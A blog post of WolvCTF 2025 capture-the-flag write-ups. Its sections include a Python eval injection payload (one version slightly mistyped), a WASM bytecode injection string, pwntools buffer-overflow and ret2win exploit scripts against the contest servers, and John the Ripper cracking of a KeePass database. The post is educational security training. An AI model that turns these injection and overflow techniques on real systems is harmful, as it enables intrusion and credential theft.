Post

WolvCTF 2025 writeups

This post consists of writeups of the challenges CYB3R_BO1 had solved in WolvCTF 2025.

WolvCTF 2025 writeups

WolvCTF 2025

About WolvCTF:

WolvCTF is an annual CTF hosted by WolvSec.

WolvSec is a cybersecurity/hacking club at the University of Michigan. The club is composed of undergrads, graduate students, alumni, university staff, and local industry professionals who are all focused on creating a fun, friendly, collaborative learning environment for cybersecurity.

WolvCTF 2025 is consists of challenges ranging from beginner to hard in difficulty and topics like RevEng, Forensics, OSINT, Web Exploit, Cryptography, Binary Exploit and Misc. The event was conducted online from Sat, 22 March 2025, 04:30 IST — Mon, 24 March 2025, 04:30 IST.

This is their CTF webpage - https://wolvctf.io/

This is their CTFtime profile - https://ctftime.org/event/2579

Misc

Sanity Check

Sanity Check

Explanation:

They told us to check out their discord server. So just like many challenges of this type, the flag must be somewhere in the server.

While inspecting, the channels in the server we can view the flag stored in the channel topic of “faq” channel.

We got the flag!

Flag: wctf{m1chigan_NCAA_champi0ns_inc0ming}

Eval is Evil

Eval is Evil

Explanation:

They have given us a netcat command to connect to a remote server and also a download - dist.tar.gz. As it is gzip compressed and tar compressed, lets decompress it using the below commands:

1
2
gzip -d dist.tar.gz
tar -xvf dist.tar

else you can use a one-liner command to completely extract the file contents:

1
tar -xvzf dist.tar.gz

Now after extracting the compressed folder you will get this - challenge/chall.py. So what we are given is a python file. Let’s inspect the source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import random

def main():
    
    print("Let's play a game, I am thinking of a number between 0 and", 2 ** 64, "\n")

    try:
        guess = eval(input("What is the number?: "))
    except:
        guess = 0

    correct = random.randint(0, 2**64)
    
    if (guess == correct):
        print("\nCorrect! You won the flag!")
        flag = open("flag.txt", "r").readline()
        print(flag)
    else:
        print("\nYou lost lol")

main()

After inspecting the source code you can understand that the program asks the user enter a number between 0 and 2**64 which is 18,446,744,073,709,551,616 😮. Then evaluates it, if the user entered a valid input, it stores the value in a variable - guess, and compares it to a random valued variable - correct. If the values match then the program is going to print the content of flag.txt. But who is talented enough to guess what random value is generated by the program, right!

We can exploit this program using - arbitary code execution ( The user can enter ANY Python code ). We can input the below line as the input, then we can have the contents of flag.txt.

1
__import('os').system("cat flag.txt")

Explanation of above command - As there is a possiblity of arbitary code execution, we are inserting a python code as the input. The code consist of os module in Python provides a way to interact with the operating system. It allows your Python program to perform system-level tasks. Which can also mean we can execute system commands. So we are using - cat to read the contents of flag.txt, this will give us the flag.

We got the flag!

NOTE: If you didn’t get the flag and it shows the error - “cat: flag.txt: no such file or directory”, its because you are running the code in local which has no flag.txt file, when you run the given netcat command, you will get the flag stored in the flag.txt of the remote server.

Flag: wctf{Why_Gu3ss_Wh3n_Y0u_C4n_CH34T}

Wasm 0

Wasm 0

Explanation:

They have given us a netcat command to connect to a remote server and also a download - dist.tar.gz. To get started we have to first extract the contents of the downloaded compressed folder. As the process is similiar in most of the challanges I won’t be mentioning in every challenge, so please refer to the explanation of Eval is Evil challenge writeup for the process to decompress.

After decompressing, we will be provided with three files - 0.js, wasm.js and package.json. I have provided the source code of each file below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const readline = require("readline");
const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout
});

let { Builder, parseHex } = require('./wasm.js');

function win() {
    console.log("wctf{redacted-flag}");
}

let mod = new Builder();

// (type ;0; () -> ())
mod.addSection(1, [0x01, 0x60, 0x00, 0x00]);

// (func ;0; (import "i" "win") (type 0))
mod.addSection(2, [0x01, 0x01, 0x69, 0x03, 0x77, 0x69, 0x6e, 0x00, 0x00]);

// (func ;1; (type 0))...
mod.addSection(3, [0x01, 0x00])

// (func ;1; (export "main") (type 0))
mod.addSection(7, [0x01, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x01])

rl.question(">>> ", (answer) => {
    mod.addSection(10, parseHex(answer));

    let wasmMod = new WebAssembly.Module(new Uint8Array(mod.data));
    let instance = new WebAssembly.Instance(wasmMod, { 'i': { win } });
    instance.exports.main();

    process.exit(0);
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
let isEven = require('is-even');

function leb128(n) {
    let result = [];
    do {
        result.push((n & 0x7f) | 0x80);
        n >>= 7;
    } while (n)
    result[result.length - 1] &= 0x7f;
    return result;
}

class Builder {
    constructor() {
        this.data = [0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00];
    }

    addSection(id, section) {
        this.data.push(id);
        this.data.push(...leb128(section.length));
        this.data.push(...section);
    }
}

// node doesn't support Uint8Array.fromHex :(
function parseHex(answer) {
    // javascript developers try not to write literally anything
    // into a package challenge IMPOSSIBLE
    if (!isEven(answer.length)) {
        console.log("odd");
        process.exit(1);
    }
    let result = [];
    for (let i = 0; i < answer.length; i += 2) {
        result.push(parseInt(answer.substring(i, i+2), 16));
    }
    return result;
}

module.exports = { Builder, parseHex }
1
2
3
4
5
6
7
8
9
10
11
12
13
{
  "name": "wasmjail",
  "version": "1.0.0",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "is-even": "^1.0.0"
  }
}

Explanation of source code:

0.js is a NodeJS code designed to create and execute WebAssembly (WASM) module dynamically, but seeing the way it processes the user input, it is vulnerable to WASM-based code injection aka arbitrary WebAssembly bytecode injection.

Wasm.js is a NodeJs code provides helper functions for constructing WebAssembly (WASM) binaries dynamically. Since parseHex(answer) directly converts user input into executable WASM bytecode, an attacker can inject malicious WASM instructions, trigger arbitrary WebAssembly functions.

So I am going to provide hex input that will be added as section 10 (the code section) of the module. So the hex string payload I will be providing to exploit the vulnerability is:

1
01040010000b

Where,

  • 0x01 for 1 function
  • 0x04 for size (4 bytes)
  • 0x00 for 0 locals
  • 0x10 0x00 to call function index 0 (the imported win function)
  • 0x0b to end the function

When we enter the string as input to tne netcat command, we will get the flag.

We got the flag!

Beginner

REverse

REverse

Hints:

Explanation:

They have given us a compressed folder - dist.tar.gz, read the writeup of Eval is Evil to know the decompression process.

After decompressing, we will get a ELF 64-bit file - reverse and a text file - out.txt. From the hints we can understand that it is asking us to use a decompiler to analyse the binary. I am using Ghidra for binary analysis (you can use online decompiler - dogbolt as mentioned in the second hint).

After analyzing the decompiled code of the binary, I got to know that it is a code to mix the contents of flag.txt, and the out.txt contains the output. So we have to reverse the output to get the input.
I have written a python code to reverse the process.

1
2
3
4
5
6
7
8
9
10
def unmix_flag(mixed_flag):
    original_flag = ''.join(chr(ord(c) + 3) for c in mixed_flag)
    
    return original_flag

mixed_flag = input("Enter the mixed flag: ")

original_flag = unmix_flag(mixed_flag)

print("Original flag:", original_flag)

When we the give the contents of out.txt as the input of this pythond code, we will get the flag.

(I don’t think this is the process, it must be a bug in the content of out.txt, according to the given binary file, it is also supposed to reverse it after subtracting 3, but when I try it that way I got the reverse flag. So I eliminated the revering process and only subtracted 3 in the python code.)

We got the flag!

Flag: wctf{r3v3r51ng_1n_r3v3r53}

REdata - Rev

REdata-Rev

Hints:

  • did you know that there is information other than code in a binary?
  • Are there any utilities that let you find strings in files?

Explanation:

They have given us a compressed folder - dist.tar.gz, read the writeup of Eval is Evil to know the decompression process.

After decompressing, we will get an ELF 64-bit file - redata. As the hint mentioned something about strings I used strings and grep command to get the flag.

1
strings redata | grep "wctf"

We got the flag!

Flag: wctf{n0_w4y_y0u_f0unD_1t!}

OverAndOver - Crypto

OverAndOver-Crypto

Hints:

  • Perhaps decoding once isnt enough?

Explanation:

After downloading and viewing the contents of the text file - encoded.txt, it looked like it was encrypted. So I tried base64 decoding.

1
base64 -d encoded.txt

It somehow didn’t work YET!, as it is not geneating any invalid characters while decoding, it must be base64 encoded and from the challenge name and the hint, we can understand that it is being encoded multiple times.
So as I didn’t know how many times I keep on running the below command to get the flag

1
echo "Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1IySkVUbGhoTVhCUVZteFZlRll5VGtsalJtaG9UVmhDVVZacVFtRlRNazE1VTJ0V1ZXSkhhRzlVVjNOM1pVWmFkR05GZEZSTlZXdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1UyMTRVMkpIZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0weGIxSkdXbGRYYlVaclVqRmFTRll5TVRSVk1rcElaSHBHVjJFeVVYZFpla3BIWXpGT2RWVnRhRk5sYlhoWFZtMHdlR0l4U2tkWGJHUllZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSa1pWYkZKRFZqSkdjbUV6YUZaaGExcG9WakJhVDJOdFJrZFhiV2hzWWxob2IxWnRNWGRVTVZWNVVtdGtWMWRIYUZsWmJHaFRWMFpTVjFwRVFrOWlSM2hYVmpKNFQxWlhTa2RqUm14aFUwaENSRlpxUVhoa1ZsWjFWMnhrYUdFelFrbFdWM0JIVkRKU1YxVnVVbXBTYXpWWVZXcE9iMkl4V1hoYVJGSnBUVlpXTkZaWGRHdFhSMHB5VGxac1dtSkdXbWhaTW5oWFl6RldjbHBHYUdsU00xRjZWakowVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5UUmxweFUydGFiRlpzV2xwWGExcDNZa2RGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZVYkdocFZqSm9lbGRYZUc5aU1rbDRWMjVTVGxkSFVsWlVWbHBYVGxaV2RHUkhkRmROVjFKSldWVmFjMWR0U2tkWGJXaGFUVlp3VkZacVJtdGtSa3AwWlVaa2FWSnNhM2hXYTFwaFZURlZlRmR1U2s1WFJYQnhWVzB4YjFZeFVsaE9WazVzWWtad2VGVXlkREJXTVZweVYyeHdXbFpXY0doWmEyUkdaVWRPU1dKR1pGZFNWWEJ2Vm10U1MxUXlVa2RUYmtwaFVtMW9jRlpxVG05V1ZtUlhWV3M1VWsxWFVraFdNalZUVkd4YVJsTnNhRlZXTTJoSVZHeGFZVmRGTlZaUFZtaFRUVWhDU2xac1pEUmpNV1IwVTJ0a1dHSlhhR0ZVVmxwM1lVWndSbHBHVGxSU2EzQjVWR3hhVDJGV1NuUlBWRTVYVFc1b1dGZFdXbEpsVmtweVdrWm9hV0Y2Vm5oV1ZFSnJUa1prUjFWc1pGaGhNMUpWVlcxNGQyVkdWblJOVldSV1RXdHdWMWxyVW1GWFIwVjRZMGhLV2xaWFVrZGFWV1JQVTBVNVYyRkhhRTVXYmtKMlZtMTBVMU14VVhsVVdHeFZZVEZ3YUZWcVNtOVdSbEpZVFZjNWJHSkhVbGxhVldNMVlWVXhXRlZ1Y0ZkTlYyaDJWakJrUzFkV1ZuSlBWbHBvWVRGd1NWWkhlR0ZaVm1SR1RsWmFVRll5YUhCVmJHaENaREZhYzFwRVVtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZteHdNMXBYZUhKbFZURldXa1pPYVZKcmNEWldhMk40WXpGVmVWTnVTbFJpVlZwWVZGYzFiMWRHWkZkWGJFcHNVbTFTZWxsVldsTmhWa3AxVVc1b1YxWXphSEpXVkVaelZqRldjMWRzYUdsV1ZuQjZWMWQwWVdReVZrZFdXR3hyVWtWS1dGUldXbmRsVmxsNVpVaGtXR0pHY0ZoWk1HaExWakpHY2xkcmVGZGhhM0JRVldwR1lXTXlSa2RoUmxKVFZsaENTMVpxUm1GVk1VMTRWbGhvV0ZkSGFHaFZNRnBoVm14c2NsZHJkR3BTYkhCNFZUSXdOV0pIU2toVmJHeGhWbGROTVZsV1ZYaFhSbFp5WVVaa1RtRnNXbFZXYTJRMFV6RktjMXBJVmxSaVJscFlXV3RvUTA1c1draGxSMFphVm0xU1IxUnNXbUZWUmxwMFZXczVWMkZyV2t4Vk1uaHJWakZhZEZKdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1XeFdWMjVrVTJKSVFraFdSM2hUVmpKS2NsTnJhRmRTTTJob1ZrUktSMWRHU2xsYVIzQlRWak5vV1ZkWGVHOVJNVTE0Vld4a1lWSldjSE5WYlRGVFYyeGtjbFpVUmxoU2EzQmFWVmMxYjFZeFdYcGhTRXBhWVd0YWVsWnFSbGRqTVdSellVZG9UazFWY0RKV2JHTjRUa2RSZVZaclpGZGliRXBQVm14a1UySXhVbGRXYm1Sc1lrWnNOVnBWWkVkV01rcEhZa1JhV2xaWGFFeFdNbmhoVjBaV2NscEhSbGRXTVVwUlZsZHdSMWxYVFhsU2EyUm9VbXhLVkZac2FFTlRNVnAwVFZSQ1ZrMVZNVFJXVm1oelZsWmtTR0ZIYUZaTlJuQm9WbTE0YzJOc1pISmtSM0JUWWtad05GWlhNVEJOUmxsNFYyNU9hbEpYYUZoV2FrNVRWRVpzVlZGWWFGTldhM0I2VmtkNFlWVXlTa1pYV0hCWFZsWndSMVF4V2tOVmJFSlZUVVF3UFE9PQ==" | base64 -d

I used the above command because I can’t always decode and store it in another file to decode it again and open it everytime to know whether I got the flag, so I use the above command, use the output in the echo to decode it again. After running it multiple times (16 or 32, I don’t remember 😅). We will get the flag.

We got the flag!

Flag: wctf{bA5E_tWo_p0W_s!X}

EtTuCaesar - Crypto

EtTuCaesar - Crypto

Hints:

  • A Caesar salad isn’t complete without a good toss—maybe try unscrambling it from different angles?
  • What if I put the note in the shape of a square?

Explanation:

This is the string in the given file - message.txt.

1
tzc3Sq{k!ss!a!__FZ!!_!11}

As it mentioned caesar cipher, I tried decoding it and at shift value 3, I got this:

1
wcf3Vt{n!vv!d!__IC!!_!11} 

Though it looks like a flag, it isn’t from the hints we can know that to get the flag we have to arrange it in square. As the length is 25, let’s try to arrange it in 5x5 square.

1
2
3
4
5
w c f 3 V
t { n ! v
v ! d ! _
_ I C ! !
_ ! 1 1 } 

After spending some time to find the pattern for the flag, I got the pattern it is

1
2
3
4
5
1   2   4   7   11
3   5   8   12  16
6   9   13  17  18
10  14  19  20  21
15  22  23  24  25

This pattern name is - diagonal filling pattern a.k.a diagonal traversal pattern. Arranging the decoded string in the order will give us the flag.

We got the flag!

Flag: wctf{v3n!_V!dI_v!C!_!1!1}

PicturePerfect - Forensics

PicturePerfect - Forensics

Hint:

  • Images have interesting information in their metadata!

Explanation:

From the hint we can understand that the flag is in the metadata, so I used the exiftool to get the flag.

1
exiftool hi_snowman.jpg

We will get the flag as the value of - Title, in the metadata.

We got the flag!

Flag: wctf{d0_yOU_w@nt_t0_BUiLd_a_Sn0Wm@n}

DigginDir - Forensics

DigginDir - Forensics

Hint:

  • I wish there was a linux utility that let me search for stuff…

Explanation:

They have given us a compressed folder - dist.tar.gz, read the writeup of Eval is Evil to know the decompression process.

After decompressing, we will get a folder - challenge which consists of 251 folders with each folder containg a text file. I expect that out of all folders one folder’s text file should have the flag. But we can’t keep checking every file manually so I used the below command:

1
grep -r "wctf" .

This command traverses all the contents and finds the string which contains - wctf, which is a part of the flag.

We got the flag!

Flag: wctf{0h_WOW_tH@Nk5_yOu_f0U^d_1t_xD}

p0wn3d - Pwn

p0wn3d - Pwn

Hint:

  • What is a buffer overflow? What is acii?

Explanation:

They have given us a netcat command and a compressed folder - dist.tar.gz, read the writeup of Eval is Evil to know the decompression process.

After decompressing, we will get a ELF 64-bit file - chal and a C-programmed file - main.c. After analysing the C-programmed source code I understood that it is vulnerable to buffer overflow, so I created a python script to exploit the remote server, here is the python code:

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote("p0wn3d.kctf-453514-codelab.kctf.cloud", 1337)

payload = b"A" * 32  
payload += p32(0x42424242)  
p.sendlineafter("Hello little p0wn3r. Do you have any first words?", payload)

p.interactive()

Using this python script will give us the flag.

We got the flag!

Flag: wctf{pwn_1s_l0v3_pwn_1s_l1f3}

p0wn3d_2 - Pwn

p0wn3d_2 - Pwn0

Hint:

  • Stack layout? I wish I had GDB with me…

Explanation:

They have given us a netcat command and a compressed folder - dist.tar.gz, read the writeup of Eval is Evil to know the decompression process.

After decompressing, we will get a ELF 64-bit file - chal and a C-programmed file - main.c. After analysing the C-programmed source code I understood that it is vulnerable to buffer overflow has stack layout issue. So to exploit it, I have written a python script which exploits the buffer overflow vulnerability in the remote server.

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote("p0wn3d2.kctf-453514-codelab.kctf.cloud", 1337)

payload = b"A" * 32         
payload += p32(0xdeadbeef)  
payload += p32(0x0badc0de)  

p.sendlineafter("I can't believe you just did that. Do you have anything to say for yourself?", payload)

p.interactive()

This python source code will give us the flag.

We got the flag.

Flag: wctf{4ll_y0uR_mEm_4r3_bel0ng_2_Us}

p0wn3d_3 - Pwn

p0wn3d_3 - Pwn0

Hint:

  • look up what ret2win is

Explanation:

They have given us a netcat command and a compressed folder - dist.tar.gz, read the writeup of Eval is Evil to know the decompression process.

From the hint, ret2win is a return-oriented attack where the goal is to hijack execution flow and directly call a function (get_flag()). Instead of injecting shellcode, the exploit simply redirects execution to an existing function in the binary. This is possible because the binary already contains a useful function (get_flag()) that prints the flag.

After decompressing, we will get a ELF 64-bit file - chal and a C-programmed file - main.c. After analysing the C-programmed source code I understood that it is vulnerable to buffer overflow has no stack canaries, no Address Space Layout Randomization (ASLR) or PIE.

To exploit this, I crafted a python code which exploits a buffer overflow vulnerability in the binary chal or the remote server and use the ret2win technique to call the get_flag() function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

REMOTE = True  
BINARY = "./chal"

elf = ELF(BINARY)
context.binary = elf

if REMOTE:
    p = remote("p0wn3d3.kctf-453514-codelab.kctf.cloud", 1337)
else:
    p = process(BINARY)

get_flag = elf.symbols["get_flag"]
log.success(f"get_flag address: {hex(get_flag)}")

offset = 40  

payload = b"A" * offset  
payload += p64(get_flag)  

p.sendlineafter("something like this before\n", payload)
p.interactive()  

This python source code will give us the flag.

We got the flag.

Flag: wctf{gr4dua73d_fr0m_l1ttl3_p0wn3r!}

Forensics

Passwords

Passwords

Explanation:

We were given a file - Database.kdbx which is a Keepass password database.
(KeePass is a free, open-source password manager that helps you securely store and manage your passwords in an encrypted database. The database file usually has a .kdbx extension and is protected by a master password, key file, or both.)

Let’s try to open it using keepassxc.

1
keepassxc Database.kdbx

But it is asking for password, so let’s crack the password using John The Ripper.

1
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

This gave us a password - goblue1. Now opening the keepass password database using the password, we can see the interface and on the left, sections like - Windows, Network etc., each section has a entry, by double-clicking on it and using the show icon on the password we can view the password. Now let’s try searching for the flag. We can find the flag in Homebanking.

We got the flag!

Flag: wctf{1_th0ught_1t_w4s_s3cur3?}

Breakout

Breakout

Explantion:

We are given a jpg file - breakout.jpg. So after researching on what breakout it and viewing the image, it turns out Breakout is a game developed by Atari in 1976. So this challenge has something to do with the game.

Now I used various tools on the image found nothing helpful, luckily on using steghide f=I found something

1
steghide extract -sf breakout.jpg

I was able to extract a file - breakout.ch8 which is embeded into the image using steganography.

.ch8 is a ROM file for the CHIP-8 virtual machine/interpreter. CHIP-8 is an old programming language used in the 1970s primarily for gaming on microcomputers and is now commonly used in emulation.

So I think we should play the game to get the flag, I tried searching for online chip-8 emulators to play the game and found - https://ffhan.github.io/ . The webpage allows us to load the chip-8 file and play the game. So I played the classic game and completed it, this gave me the flag.

Breakout_flag

We got the flag!

Flag: WCTF{GAME_OVER_VMASBKLTNUFMGS}


So, YEP! These are the challenges I solved in WolvCTF 2025. There were a few other challenges that I got stuck on and couldn’t quite solve, but I came close. My favorite challenge from this CTF was definitel Breakout - it involved exploring an old programming language and revisiting the nostalgic Atari game Breakout!

Overall, WolvCTF 2025 was an amazing experience! I learned a lot about forensics and reverse engineering, and I even came to love pwn. While I managed to solve most challenges, I struggled with some OSINT and reverse engineering challenges. I’ll be focusing on improving my skills for the next CTF!

Big shoutout to my team, WolvSec, for the teamwork and support! Huge thanks to the organizers of WolvCTF 2025 for putting together such an exciting competition.

If you found this writeup helpful or have any thoughts, feel free to reach out—let’s connect! Looking forward to the next CTF! 🚀

This post is licensed under CC BY 4.0 by the author.